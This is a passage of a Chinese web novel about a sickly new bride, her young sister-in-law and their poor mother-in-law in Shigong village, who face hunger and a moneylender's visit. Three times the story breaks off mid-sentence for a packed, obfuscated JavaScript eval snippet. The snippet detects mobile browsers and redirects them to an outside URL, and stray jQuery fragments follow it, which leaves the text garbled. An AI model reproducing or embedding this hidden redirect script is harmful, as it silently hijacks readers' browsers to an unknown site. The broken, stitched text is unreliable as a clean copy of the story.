冯五月忧心忡忡,她如何不明白俞大娘的意思,是让她两个耳朵当摆设,不管谁来打探家里情况,都装聋作哑。 可,蔺春来还在发烧,她一个人在家,心里有些慌。 “那也没办法。” 俞大娘叹气,不到万不得已,她也不愿意现在就出去,可不出去咋办?总不能,坐吃山空吧? “我下午才走,一会再看看,若是你嫂嫂还不转好,我就先不去了。” …… 到下午,蔺春来情况略有好转,人没再烧了。俞大娘便放了心,背上一贯背着的勾篮,出了门。 出门前,她犹豫了一番,叫过冯五月,从拿回来的那只鸡身上扯下来一条腿。 “娘,这鸡,是嫂嫂家里给的吗?” 冯五月早看到了那只鸡,见她扯下一条腿,心知,是让她留着,给蔺春来炖汤的。她小心接过,顺嘴问了一句。 “胡家?” 俞大娘却差点跳起来,嘲讽的话即将说出口,又赶紧打住,含糊道:“放点野葱。” 又说:“少放点。” 胡家那家子不要脸的,怎么会主动送一只鸡呢? 那是自己要的。 想到当时种种,俞大娘心中窝火。当初和胡家定亲时,自家送了四样礼,一篮子糕团,两条鲤鱼,一包茶叶,一篮子菱角。 样样都是好东西。 可胡喜君死了,胡家人竟然没点表示。要不是自己撕破脸,强行把送出去的东西要回来,只怕,白当了冤大头。 胡家人拿不出当初的四样礼,便折算成四块糕团,一只鸡和一包麦芽糖。 糕团已经吃完了,麦芽糖在床底下藏着,至于鸡嘛,是要拿出去卖的。 想到鸡,又想到刚掰下来的那条腿,心中越发舍不得。 …… 随着院子门关上,冯五月从里头上了门闩,见蔺春来还在睡着,便去灶房里,把那只鸡腿加了水炖上。忙活完手里头的活,又回到屋子里,守在蔺春来床跟前。 大概是黄昏的时候,蔺春来醒了。 “五……五月?” 蔺春来先是模模糊糊瞧见床跟前有个人,眼睛眨了两下又闭上,再睁开,便看清了那人的模样。正是冯五月。 “娘……娘呢?” “娘去外头做活了。” 冯五月见她醒了,面上实在欢喜,想着她还不知道俞大娘平日会在外头做活,便多说了几句:“娘平日里在外头做些零散的活。如今外头藕塘里挖上年留种的藕,娘之前和工头说好了,给她留个位子。” “嫂嫂,你醒了,先喝药吧,正好,药是温的。等药喝完了,缓一下,再喝鸡汤,下午我炖了鸡汤。” 说着药和鸡汤,冯五月去外头,先端了一碗药过来,扶着蔺春来起来,等人喝完了,把空碗拿出去。再进来,手里就多了一碗鸡汤。 “五月,五月。” 鸡汤刚端进来,外头就响起另一个小姑娘的声音。 “是银花。” 冯五月将头扭过去,听了一耳朵,指着那碗鸡汤,顾不得多说,转身又出去了。不多时,她再次跑进来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480766|201722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸上嘛……好像有些郁闷。 “银花是我最好的朋友,她来找我玩,我告诉她,我今天有事,不能出去。” “是我连累你了。” 蔺春来咳了一声,哪里还看不出来,这小姑娘,怕是守了自己一天。 “不是的不是的。” 冯五月忙摆手,“我本来也不想出去玩。” 娘都说了,少往外头走动,免得那些嘴碎的人搭话。 刚才,陈银花找来,悄悄问她,五月,你嫂嫂是不是进门了? 她问陈银花,你咋知道? 陈银花说,村里人都知道。 那还能是谁说的? 想到王淑云那张破嘴,冯五月实在气愤。 王淑云不仅嘴碎,同村里人说冯家的儿媳妇进门了,还说,冯家的儿媳妇是个病秧子。 嫂嫂才不是病秧子呢! “嫂嫂,喝汤吧。” 不想拿这些难听话出来惹人烦,冯五月明智地转移了话题。她提到鸡汤,蔺春来目光落在碗里,只见,那碗里是完完整整一整个鸡腿。 “你呢?” 蔺春来问她。 她手指着灶房方向,“我也有呢,等嫂嫂喝完,我就喝。” “坐过来,一起喝吧。” 蔺春来又咳了一声。 冯五月想了想,去灶房里,给自己打了一碗汤端了过来。 见了那碗汤,蔺春来如何还不明白。 她什么也没说,只是将筷子探入碗里,将那只鸡腿上最大一块肉戳下来,放进了冯五月碗里。 “虽说汤上面的油已经撇了,可鸡肉吃多了,生痰,我不敢多吃。” “那,我给嫂嫂留着,明天再吃。” 冯五月没晓得她的用意,只知道,鸡肉宝贵,这顿吃不完,还能留着下一顿吃。她将那块鸡肉重新放回了锅里,自己依然没吃一口。 第二天,那锅鸡汤热一热,两顿饭便对付过去了。 到第三天,蔺春来差不多能下床了。一直在床上躺着,身子轻飘飘,脑子也昏昏胀胀的,她下了床,摸到了灶房里。 冯五月在灶前煮饭,锅里白粥正翻滚着,米花从锅底翻上来,又顺着瘪下去的气泡,沉了下去。 “哟,是俞大娘你回来了啊?回来的正好,大伙正想问呢。都说,你家儿媳妇接回来了,是真的还是假的?怎么不领出来,让大伙瞧一瞧?” 外头有人说话,嗓门特别大。 冯五月凝神听了一耳朵,不高兴道:“是王淑云,隔壁二房的媳妇。” “假的。” 俞大娘的声音紧跟着响起。 外头众人好像被这一句弄得不知道怎么回了,偏生,俞大娘顿了一下,又笑着说:“越想看,越不给你们看,我儿媳妇人比花娇,想看的,不得带着花来?” “你个财迷。” 有人反应过来,同样笑着接了一句。 那位叫王淑云的跟在后面,问:“儿媳妇进门,可是喜事,俞大娘,什么时候派乡邻啊?” “明天,明天就派。” 俞大娘回了一句,外头,再没声了。 院子里,门动了一下,姑嫂两个心知,俞大娘进来了。果然,才把灶膛里的火撤出来,俞大娘就已经背着勾篮走了进来。 “肠子流脓舌头长疮,就差这一口麦芽糖,治嘴巴呢。” 俞大娘的脸色不复刚才在外头时那般轻松,她眉眼都耷拉着,言语之间,似有些不满。 冯五月问:“娘,咱们真要派乡邻吗?” “派啊,为啥不派?新媳妇进门是喜事,我又没哄她们。” 俞大娘如实回答。 冯五月正要再说,外头突然响起一声清脆的锣声。 “都听好了,谁要是去小阳山偷东西,抓住就送官!” “再说一遍,谁要是去小阳山偷东西,抓住就送官!” 冯五月心里一怵,俞大娘脸色也微微一变,不动声色缩回了往外探看的身子。 5. 告诫 “陈有明呢?怎么是你来,敲锣打鼓的?” 冯家屋外,凑热闹的人群还没散去。王淑云挑眉,对着方才敲锣的陈狗儿问了一句。 陈狗儿嘴里还叼着一根草,说话间也不见把那根草拿下来:“我就敲个锣,哪打鼓了?” “陈有明呢?难不成,他把守山人的活让给了你?” 有人跟着追问。 陈狗儿睨那人一眼,“都是陈家人,谁守还不是一样的。有明哥忙着呢,我代他,提醒乡亲们几句,听好了。” 声音突然拔高,猛地一敲锣,“谁要是去小阳山偷东西,抓住了,管你是陈家人还是徐家人,谁来求情都没用,去官府里吃苦头吧!” “这话说的。” 王淑云唰的一下沉了脸,“石公村就我们一家姓徐的,狗儿,你这话,我可不爱听。” “我管你爱听不爱听的。” 陈狗儿浑不在意,他吐掉嘴里的草,手指头在锣上掸了两下,见大伙都侧过身子躲那锣声,嘻嘻哈哈笑了两声。笑完,脸色一变,“你王淑云是什么人,我还不知道?管好自己的嘴,也管好自己的手,你们家可不缺这一口。” “都听好了,再说最后一遍,不准去小阳山偷东西!捡也不行!” 说罢,装模作样,又敲响了锣往村子别处去了。 王淑云觑着他的背影,气呼呼低声咒骂了一句。她脸上有些挂不住,也没心思聊天了,便扯了个灶上得添把火的借口,身子一扭,钻进了院子。 她走了,其他人也没了兴致,便陆陆续续都散去。 霎时间,冯家门前再度恢复安静。屋子里头,俞大娘这才出了声:“我带了藕节回来,晌午咱们吃藕节汤。” “今天吃藕节!” 冯五月闻言,雀跃了一下。她早就盼着这一口了,那天俞大娘说了要带藕节回来,她就一直惦记着。现在,心心念念的东西就在眼前,她别提有多高兴了。 欢呼完,想起蔺春来是桃源镇的,便好奇问了一句:“嫂嫂,你在桃源镇时,可有听过我们这里的藕?我们这里的藕,可有名了,就连州里的人都爱吃。” “听过。” 蔺春来其实也不知道真正的桃源镇居民有没有听过这里的藕,她想着,既然这里的藕很有名,那么,应该是听过的吧。 “我们镇的藕,就是比别处的粉糯。虽然……娘今天带回来的是藕节,可藕节和藕一样好吃。藕节还能治病呢,嫂嫂你今天一定要好好尝一尝。” “好。” 蔺春来见她一脸期盼,随口应了一声。 她还有别的事要问,眼角余光瞥见俞大娘出了灶房,脚步往左边拐,随后隔壁屋子门响了一下,她收回视线,道:“五月,小阳山可是我们屋后头这座山?” “是啊。” 冯五月没明白她为何问起这个,想着,可能是刚才陈狗儿敲了锣,话里提到小阳山,所以她才顺口一问吧。 有心想让她多了解了解村里情况,便打开了话匣子:“小阳山是有主的山,是县里延福寺所有。但延福寺离这里太远了,寺里的管事照顾不到,正好我们村在山脚下,他们便让我们村的人帮着守山了。” “守山是有钱拿的,王淑云她们嘴里的陈有明,就是守山人。陈狗儿是陈有明的族弟,陈有明不在的时候,都是他帮着看管山头的。” “本来,村子西头,也就是我们这边,离山近,可。” 冯五月话音突然顿住,脸上也有些说不出的沮丧。 蔺春来正听得入神,见她突然不说了,便看向她,斟酌着问:“怎么了?这里头,是不是还有故事?” 舍近求远,一定有这样那样的理由。 冯五月话里的意思,冯家离小阳山最近,可偏偏,延福寺让陈有明守山。那么想来,这陈有明家,离山有点远,应该是在村子东头吧。 果然,心里这般想着,就听到冯五月说道:“陈有明家在村子东头,离这里可远了。他能守山,是因为,他是陈家人,他姓陈。” …… 姑嫂两个你一言我一语的闲聊着,大部分时候,都是冯五月在说,偶尔蔺春来不解,会提出疑问。 可问题也很简短。 俞大娘在隔壁屋里将二人的对话听在耳里,没忍住撇了撇嘴。 惦记着手里的钱还没藏好,她也顾不得一心两用了。小心将靠着墙的床挪开,又把墙上的一片土砖拿开,之后,手伸进里衣里,从心口的位置摸出了一个钱袋子。 钱袋子里是八十五文,她已经数过了。 可这会仍不放心,又倒出来数了一遍。见还是八十五文,才把心放回肚子里,又放轻了动静,将那八十五文藏进了墙里。 放好土砖,将砖推回原处,她也没急着出去,而是趴在床底下,将藏在最里面的几个罐子扒拉了出来。 罐子里是麦芽糖,雪菜,还有米。 雪菜还剩了许多,米却要见底了。 这些,可不够啊。 她有些发愁。 这几天做活的钱,加上卖野菜和鸡的钱,总共只得了一百文。 一百文里,有十五文是那天蔺春来发烧,她急急忙忙去集市卖了几把野菜换回来的。结果,买药又花出去了。 剩下八十五文,离目标还远得很。 唉! 她叹口气,揉了揉眉心,目光又落在麦芽糖上。想到派乡邻的事,没忍住啐了一口:“吃吃吃,就知道吃。偏你们石公村要派乡邻,就你们村事多!” 啐完,又叹一口气,将罐子推回原处,起身拍了拍身上的土,又将手背放在额头上,虚虚抹了一把汗。 再出门踏进灶房,正好听到冯五月说到“陈家人祖辈都在这里”,摇了摇头,她接过话头,道:“石公村,什么姓是老大?你只要记住,姓陈的是老大,就够了。” “陈家人的规矩多,咱们是外来户,没事别往陈家祠堂去。人家的祖宗,可一点也惹不起。” “还有,没事别上小阳山。刚才陈狗儿说的,听到了吧?捡东西也不行,抓住就送官 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480767|201722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 蔺春来若有所思。 那天从小阳山下来,她见俞大娘轻车熟路,初时还以为,山是无主的山。可后来种种,再加上刚才陈狗儿的警告,她大概猜到了。 山既然有主,那么日后,能远离还是远离吧,省得闹出些事端来,到时候说不清。 翌日。 说了要去派乡邻,俞大娘特意挑了晌午饭吃完的时候,带着蔺春来冯五月一道,往村子东边去。 刚出门,就听到一个猴急猴急又明显稚嫩的声音:“娘!娘!冯家的新媳妇出来了!” “就你话多,还不赶紧进屋!” 王淑云在院子里不知干什么,闻言面带尴尬走了出来,她一把拧住小儿子徐成的耳朵,把人拧进了院子里。 “你拧他做什么?瞧把他拧的,眼泪都出来了!” 徐家老婆子正在鸡食槽边喂鸡,听到小孙子叫嚷,回过头一看,也没心思喂鸡了。她放下手里糠麸,将徐成拉到一边,又瞪了王淑云一眼,然后转过头,换上一张笑脸,对着门外头:“后头跟着的,是长庚媳妇吧?” 问的是俞大娘,看的是蔺春来,俞大娘不好不回答,便笑着应了一声。 “瞧瞧,这模样俊俏的嘞,你夜里做梦,怕是都得笑醒。” 徐老婆子又笑着说客套话,说完,话锋突然一转:“前几天我出门串亲戚,一回来就听人说,你们家长庚媳妇进门了。小成欢喜见到新媳妇,小孩子家家的,净爱凑热闹。” 顿了一下,目光落在俞大娘手中的提篮。 “是要去派乡邻吧?赶紧去,这事,可耽搁不得。” “是啊,早去早回。派完了,我就了了一桩心事了。” 俞大娘同样说客套话,又顺水推舟,说自己得走了。 等她走了,徐老婆子扭过头,毫不客气数落王淑云:“他又没说什么,你拧他耳朵做什么?他是你肚子里掉下的肉,你也舍得?我可告诉你,要是把人拧坏了,我跟你没完!” “我又没下大力气。” 王淑云心中不忿,回了一句嘴,却也不敢多说。 她怕徐老婆子又说她,便拿冯家人说嘴:“都说远亲不如近邻,我看,咱们这近邻,可连过大路的都不如。话都问到跟前了,结果呢,人家还不是照样装没听到。派乡邻,我们姓徐的哪敢当人家的乡邻。” “你也知道,你不姓陈。” 徐老婆子皱眉回了一句,虽没说什么,可心里也有些不舒坦。 这冯家人也是的,以前徐,冯,还有另外一家姓莫的,是这村子里唯三的外姓人。后来莫家人搬走,就只剩他们两家。两家人住在村子边缘,屋子挨着屋子,原该守望相助,亲如一家。 可这冯家人倒好,派乡邻竟然跳过自家,先派其余陈家人的。真是不会做人。 “去给小成蒸个蛋,刚捡了一颗蛋。” 心里越发膈应,她岔开了话题,见王淑云去灶房了,这才看向院子外,嘀咕了一句:“也不知道,这冯家能拿出什么好东西。” 6. 粮绝 蔺春来跟着俞大娘,从村子最西头穿到了村子最东头。先给陈氏一族的族长派了麦芽糖,接着又给陈家的耆老们,再有便是里正,村正,和其余陈家人派。 将整个村子绕了一大圈,再回来,便对村里的情况有了基本了解。 石公村一共四十二户人家,除了冯家和隔壁徐家,余下都是陈姓人家。里正也是村里人,村里唯一的水井在村东,陈氏一族的祠堂在村东,出村子的大路,也在村东。 至于村西,就是个鸟不拉屎,没有特殊情况就没什么人会来的地方。 “乡邻派也派了,以后没事少往东头去。在村子里,也夹紧尾巴,少说话。” 俞大娘去时拎了满满一篮子麦芽糖,回来后,篮子里只剩了两颗糖,她见了那两颗糖就心疼。总共只剩八十二颗,每家分两颗,竟然正正好。 余下的这两颗,是给徐家人的。 到了徐家门前,她招呼了一声,徐老婆子就出来了。 “本来想第一个给你们派的,可,你们也知道,村里人多嘴杂,咱们外姓的,恐叫人看到了说嘴。” “说的哪里话,我哪能不明白呢。” 徐老婆子笑着接过了那两颗糖,言语之间,满是感同身受。 俞大娘便不多说了,提着空篮子往右一拐,就拐进了自个家。刚打开院子门,把手里头空篮子放下,就听到徐家院子里有人说话。 进灶房倒了一碗水出来,外头冯五月已经手指着徐家方向,对着蔺春来小声道:“嫂嫂,抢糖呢。” 见怪不怪。 俞大娘摇头,端起水碗,咕咚咕咚牛饮了好几大口。 将最后一口水咽下,她对着院子里两个人招呼了一句:“明天得出趟门,你们在家里,守好家。” “要去挖藕吗?” 冯五月回过头问了一句。 “采茶叶,还有南烛叶。谷雨一过,就得准备立夏的乌米饭了。” 俞大娘顺嘴那么一回,目光落在蔺春来身上。看着看着,就带出一桩心事来。 她面上不显,扭过头往灶房去,一边走一边不忘叮嘱:“最近活多,我忙的不得了。明天出去,一时半会怕是回不来。你们在家里,还是和之前一样该干啥就干啥。” 冯五月和蔺春来皆应。 第二天,一大早,俞大娘果然和前一天说的一样,早早出了门。她一走,冯五月又和之前一样,承担起了家里的事。 蔺春来看在眼里,心里头实在不是滋味。 先前她一直在生病,大多时候都在床上躺着。俞大娘有段时间不在家,家里的活,不消多说,自然落在了冯五月身上。冯五月年纪虽小,可做起事来,手脚麻利。 小姑娘从来不喊累,也从来不说委屈。 如今,十天过去了,她已经好的差不多了。再这么干看着,实在不像话。 “嫂嫂,你快坐着歇气,我来扫。” 冯五月一看到她拿起扫帚,就好像天塌了一样。 “你来我来,还不是一样的。” 蔺春来瞥见她打算上手抢,忙将手里扫帚调换了个方向。怕她还要再说,先她一步堵住她的嘴:“今天咱们吃什么,还是藕节粥吗?” 不得不说,提到吃,管你是大人还是小孩,都会停下来好好想一想。 冯五月想了,可…… “我去看一看。” 她也不知道是没拿准还是有别的顾虑,脚尖一抬,钻进了睡觉的屋子。 蔺春来在外头等。 她没好进去,虽然,嘴上说着,都是一家人,可,俞大娘的屋子,她当儿媳妇的,能不进去还是不进去。 “嫂嫂,咱们今天还是吃藕节粥。” 冯五月很快就出来了,出来时,一只手上拿着两块藕节,另一只手抓着一小撮米。 蔺春来收回目光,点点头表示自己知道了。 当天,上午下午两顿藕节粥。 第二天,照旧。 第三天,还是如此。 上午这顿吃完,下午冯五月不知道怎么办了。她趴在床下面,对着几个罐子扒拉了一下,越扒拉,心里头越凉。 本以为,还能再撑一撑的。 那天蔺春来问起吃什么,她本来想说吃蒸藕节的。可是想起藕节不多了,怕一顿藕节粥,后来没东西吃,她才没敢出声,先去屋里看了。 屋里当时只剩一小把雪菜和一小把米,藕节虽然看着多,可其实,也撑不了几顿。 她算好了量,每一顿都吃藕节粥,米少放一点,水加多一点,煮的稀稀的,能撑个三四顿。 她以为,昨晚上俞大娘会回来的。 可是下午还没有动静,没办法,她只能把那粥又煮稀了一点,这样,今早上的量就省出来了。今早的粥,已经稀的和清水没什么两样。一筷子下去,几乎捞不出几粒米花。 嫂嫂什么都没问,但她心里,一定很疑惑吧。 怎么办呢? “娘怎么还不回来?” 冯五月心中慌乱,有那么一瞬间,甚至想哭了,她压根不敢起身,走出面前这道门。 要不,去找点野菜吧? 心里突然涌现一个念头,这个念头一出来,她就没那么慌了。 现在是季春,外头的野菜虽然被村里人挖的差不多了,可找一找,还是能找到。等找到野菜,再去银花家借一小撮面粉,野菜和面粉混在一起,就能煮成一锅稍微能果腹的汤了。 “五月,下午的饭我来煮吧。” 蔺春来的声音忽然在外面响起。 冯五月心里一悸,顾不得那些乱七八糟的情绪了,下意识从地上起来,跑到门口,想说,我来煮,可舌头好像被什么东西咬了一样,伸展不开。 “不过你得先跟我出去一趟。” 蔺春来又出了声。 冯五月放在身侧的手悄悄握紧,犹豫了半晌,最终,还是点了头。 两个人说出门就出门,出门前,蔺春来还提上了之前俞大娘派乡邻时用过的篮子。见了那篮子,冯五月隐约猜到了几分。 她问:“嫂嫂,我们要去挖野菜吗?” “去看看,有就挖点,没有就算了。” 蔺春来语气倒是听不来什么,她锁了门,往村子更西边去,一边走一边不忘解释:“这几天都是你煮饭,也该换我了。总吃藕节粥,也腻味,下午咱们换个花样。” 冯五月便没敢再说什么。 走了一段路,两个人远远地将村子甩在后面。蔺春来纯粹是瞎走,她哪里知道,野菜多的地方在哪。只是,那天晚上和俞大娘一道下山时,随便看了几眼。虽然黑灯瞎火的,可,隐约能看到,这个方位,树多。 树多的地方草可能也多,反正村子西边住户少,越往西边走,越荒。朝这个方向走,错不了。 又走了一会儿,便看到一个小水坑。顺着水坑往里走,便是一片沼泽地。沼泽地往下,是一条小溪。 就是这了。 蔺春来放下篮子,先摘了一片沼泽边的薄荷叶子。放进嘴里嚼了两下,把叶子吐出来,才弯下腰,拨开了薄荷丛。 “嫂嫂,咱们要吃薄荷吗?” 冯五月看糊涂了,心说,哪有人吃薄荷叶啊,又不管饱。 “不吃这个。” 蔺春来手里动作没见停,薄荷虽然好,可,确实没人拿着当饭吃。油炸薄荷,倒是好吃,可庄户人家,没油吃才是常态,有油的,哪里舍得这么糟践油。她刚才嚼薄荷叶子,纯粹是为了让嘴里有个味。 清凉味,也是味不是? 冯家…… 想到冯家,心中郁闷。 先不说庄户人家,一般多多少少都有余粮。就说,那天俞大娘下山时,明明背了一篮子野菜,当时她看到,那些野菜五花八门,直把一个大大的勾篮压得都快垮了。 可,这些日子,除了吃到过野葱,其他东西,完全没见过。 东西去哪了? 用脚趾头想,不难猜到。 冯家,家里头应该不宽裕。这段时间虽然大多在屋子里养病,冯五月也没同她说过什么,可一天天的,看下来,她心里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480768|201722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也大概有数了。 冯家只有四间屋子,站在院子里看,从西到东,依次是放杂物的屋舍,灶房,俞大娘和冯五月睡觉的屋子,以及,她的屋子。 那间放杂物的屋舍之前像是养过鸡或者猪,看起来明显比其他屋子简陋一些。灶房不消多说,自是放了些煮饭用的东西。 俞大娘的屋子她不晓得,可她的屋子,实在简薄的很。一张床,一个上了年头的衣柜,再有一张腿不一样齐的桌子,还有一把换过腿的椅子,别的,便没了。 那些从山上带下来的吃的,大概率是拿去集市上换钱了。 人总不能干坐着,等着天上掉吃的下来。这几天,她一直没吭声,今天估摸着,家里头怕是一点吃的都没了,这才不得不出了声。 不过好在运气还算好,先看到薄荷,又在薄荷丛旁边发现了地耳。 地耳这东西,长起来疯了一样长,尤其下过雨后,地上到处都是。眼前的地耳正贴在地面上,她一个人,捡不过来。 冯五月过来帮忙。 她想说,村里没人吃这个,可是,想到床底下见底了的罐子,又把话咽了回去。 两个人一起,速度就快了许多,很快,篮子里头就满满当当了。蔺春来见差不多了,起身,提着篮子到了小溪边。 找了一个石头缝,她将篮子直接卡在缝里,转过身,又找起别的吃的来。 沼泽边倒是有不少冒了头的笋,可走近一看,不是柴笋,是芦苇笋。芦苇笋涩得很,不管怎么换水再焯水,都有股苦味。以前拍视频的时候,蔺春来采来吃过,结果,一锅菜,最后全倒了。 这东西没必要采。 她把目光移向别处,边走边找,最后又找到几株荠菜和文文头。 时间也差不多了,她算算量,今明两天,是能对付过去了。再省着点,也不是不能再吃两三天。 “走吧。” 她招呼冯五月。 到了小溪边,拿下篮子,篮子里的水一股一股从柳枝缝隙里往外冒。水流断了线,水珠子往下滴,里头的地耳已经被冲刷的干净了不少。 两个人提着篮子往回去走,临走时,蔺春来思来想去,拔了几株薄荷。这玩意和地耳一样,说长,就疯了一样的长。冯家院子实在单调,拿回去,既点缀庭院,之后说不得也能派上用场。 回去的路上,两个人又摘了些槐花。槐花树就在路旁,来的时候,蔺春来见过。 槐花放在篮子里,花朵摊开来,就好像,两个人是去摘槐花了一样。 回到冯家屋前,徐成正好在自家门前玩耍,他和冯五月搭话:“五月五月,立夏快来了,你有蛋吗?” 冯五月不搭理。 他又道:“我知道了,你没有蛋。你们家没有鸡也没有鸭,你们家没有蛋,你娘才舍不得给你买蛋呢。” “谁玩那东西。” 冯五月脸上有些黯然,显然,被说中了心事,可她嘴上仍然强撑:“小孩子才玩呢。” “你就是没有,你娘不给你买。前几天,城里有庙会,城隍神出巡赛会,我娘带我去了,你娘没带你去。” 徐成如今七岁,正是人憎狗嫌的年纪。见冯五月抵死不承认,嗓门一抬,声音比刚才更大。 冯五月背对着他,打开门,一言不发走了进去。 “你娘不带你去看庙会,你娘不给你买蛋!” “你娘不带你去看庙会,你娘不给你买蛋!” 院子外,徐成还在嚷嚷。 冯五月绷着脸,拿着那几株薄荷,看向蔺春来,“嫂嫂,种在哪?” “我来吧。你去屋里,拿个碗,等会我有用。” 蔺春来没打算开口问,地耳刚才只是被初次冲洗了一遍,流水那点力度,还是不够,她还得一片一片掰开了洗。 才把薄荷种下,和冯五月一道蹲在地上一片片洗着地耳,外头就响起了敲门声。 “有明叔,你咋回来了?” 徐成的声音再次响起。 冯五月手里的地耳抖落在地,她的脸,也变得惨白。 7. 要债 “来看新媳妇。” 陈有明荤腥不忌,当着小孩子的面,嘴里也没个把门。徐成正要继续和他搭话,他脸一沉,不耐烦道:“去,一边去,你小孩子懂什么。” “小成,进来!” 王淑云在自家门后头剁鸡草,闻言不高兴地对着外头唤了一声。她本来听到外头动静,还想看热闹。可谁知,陈有明劈头盖脸对着徐成就是这么一句。 出去吵吧,她没这个胆子。陈有明一向混不吝,她惹不起。 “我不进去!” 徐成牛脾气犯了,死活不肯进去。 王淑云没辙,只得撂下手里剁鸡草的刀,黑着脸走了出去。 母子两个闹将起来,陈有明也懒得搭理。他一只脚脚尖抵在冯家门上,双手环抱着,有一下没一下去踹那门。 “再不开门,我踹门了啊。” 吱呀一声。 门开了。 冯五月站在门口,她身边站着的,是…… 陈有明目光落在蔺春来身上。 “五月,这是你……你嫂子吧?” “哟,想不到桃源镇还有这么水灵的娘子,长庚好福气啊!” 目光在蔺春来身上逡巡了一遭,再移开,说起正事:“你们的娘呢?” “我娘……” 冯五月面露为难,说话间,还打了个寒颤。她好像有些紧张,不,她很紧张,可,虽然很紧张,她还是说了:“今天不是……不是十七吗?” “怎么,十七就不能来要帐了?” 陈有明一脸我想咋样就咋样的样子,他也不等人回答,一只脚往前一探,就把门踹得更开了。两只手照样还是环在胸前,他毫不客气就进了院子里面。 到院子里站定,目光环视周围,然后,眼里就露出几分鄙夷来。 “前几天,你们不是还派乡邻了吗?怎么,有钱派乡邻,没钱还债啊?” “还不上,呵,那就把你嫂子抵给我呗。” 说着抵债,目光又重新落回蔺春来身上。 “你!” 冯五月又气又臊,到底只是小孩子,又知道自家是外来户,所以一时之间,不知道该如何应对了。 “今天家里拿不出钱,时间还没到,我们还没准备好。” 冷不丁的,蔺春来出了声。 冯五月面上更臊的慌了。与此同时,她还有些说不出的紧张和无措。两只手紧紧地攥着衣角,她看向蔺春来。 蔺春来此时顾不上她,她虽震惊于冯家竟然还有外债,可当务之急,是先把陈有明打发走。 “没准备好?” 陈有明冷笑一声,压根不肯信,“长庚媳妇,你是不是当我傻?之前你们派乡邻的麦芽糖是哪来的?总不可能,是天上掉下来的吧?冯家是没钱,可你们胡家有啊。这冯家人去一趟桃源镇,回来就有麦芽糖。你新媳妇进门,我不信没带其他东西过来。赶紧的,别磨叽,就算拿不出钱,给别的,我也认。” “你也说了新媳妇才进门。哪有新媳妇进门,就立刻当家的道理。实话跟你说,我从胡家过来,什么都没带。现在,我们姑嫂两个手上,一文钱都没有。” 蔺春来一脸老实样,说话间,眉头也皱起,两只手还轻颤着,就好像真的不知道该怎么办了一样。 陈有明眼睛死死地盯着她,然后,笑了。 就好像开玩笑一样,老话重提:“那就把你抵给我。欠债还钱,天经地义。” “欠债还钱,是天经地义,我也没说不还啊。” 蔺春来强自按下心中的厌恶,回了一句。 陈有明问:“那你啥时……” “明天。我明天就回桃源镇,问家里拿钱。” 蔺春来眉毛从细柳叶形拧成了一字型,她叹口气,满脸都是不情与不愿:“可你也知道,桃源镇离这里,隔着好几座山。我可没钱坐船回去,要是走回去,一来一回,少说也得六天。” “那……” 陈有明在心里权衡,冯家一穷二白,俞老婆子可是个厉害角色,新媳妇进门,还真不一定摸到家里的钱。这小媳妇,应该没撒谎,再磨蹭下去,也要不出什么,还不如六天后再来呢。 便道:“那就六天。六天后,我再来。你们要是敢跑,或者敢哄我,我砸了你们的家。” …… 发作了一通,陈有明走了。人走到门口,又想起麦芽糖的事,回过头问:“我怎么没见着麦芽糖?没给我派?” “派了派了。” 冯五月被他这个回头吓得心里扑通扑通直跳,回了一句,又说:“当时你不在,是陈狗儿接了,陈狗儿说,他帮你留着。” “狗儿这个不要脸的,连老子的糖都敢昧下。” 陈有明骂骂咧咧,脸上更不好看。不过这次,他走了,是真的没再回来了。 冯五月彻底松了口气,送瘟神一样,见人走远了,慌慌张张关上门,又手抖着将门闩闩上。闩完门闩,“五月,你来一下。” 她手又是一抖。 该来的,还是来了。 垂着头一声不吭,进了屋,她手足无措揉着衣角,没敢抬头,也没敢出声。 “有件事,我想问问你。” 蔺春来也看出了她心里害怕,可,该问的还是得问。不管怎样,她心里都得有本帐。欠债是因为什么,欠了多少,还剩多少,她都得问清楚。 “咱们家欠了多少债?还了多少,还剩多少?” “欠……” 冯五月心里很沉重,就好像有一颗大石头压着心口,她心口闷闷的。走之前,俞大娘跟她说过,不该说的话别说。 她想着,欠债的事,应该是不能说的事,便一直没说。 可是…… 可是…… 还是没躲过去。 嫂嫂一定很生气,也很嫌弃她们家吧。 她越发垂下了头。 “你照实说,我也好心里有个数。” 蔺春来的声音还是和之前一样,轻轻的,也柔柔的。那声音里没有气愤,也没有责备和怪罪。 冯五月沉默了半晌,开了口:“一共欠了四贯。当时,二哥生病,家里没钱买药,娘不得不问人借了钱。二哥断断续续一共吃了三年药,本来一开始只借了一贯,可这些年,利滚利,不知怎么滚着滚着,就越滚越多。家里原本还有五亩地,可后来……也搭进去了。娘在外头做活,赚的钱,陆陆续续拿去还债,还到现在,还剩四贯。” 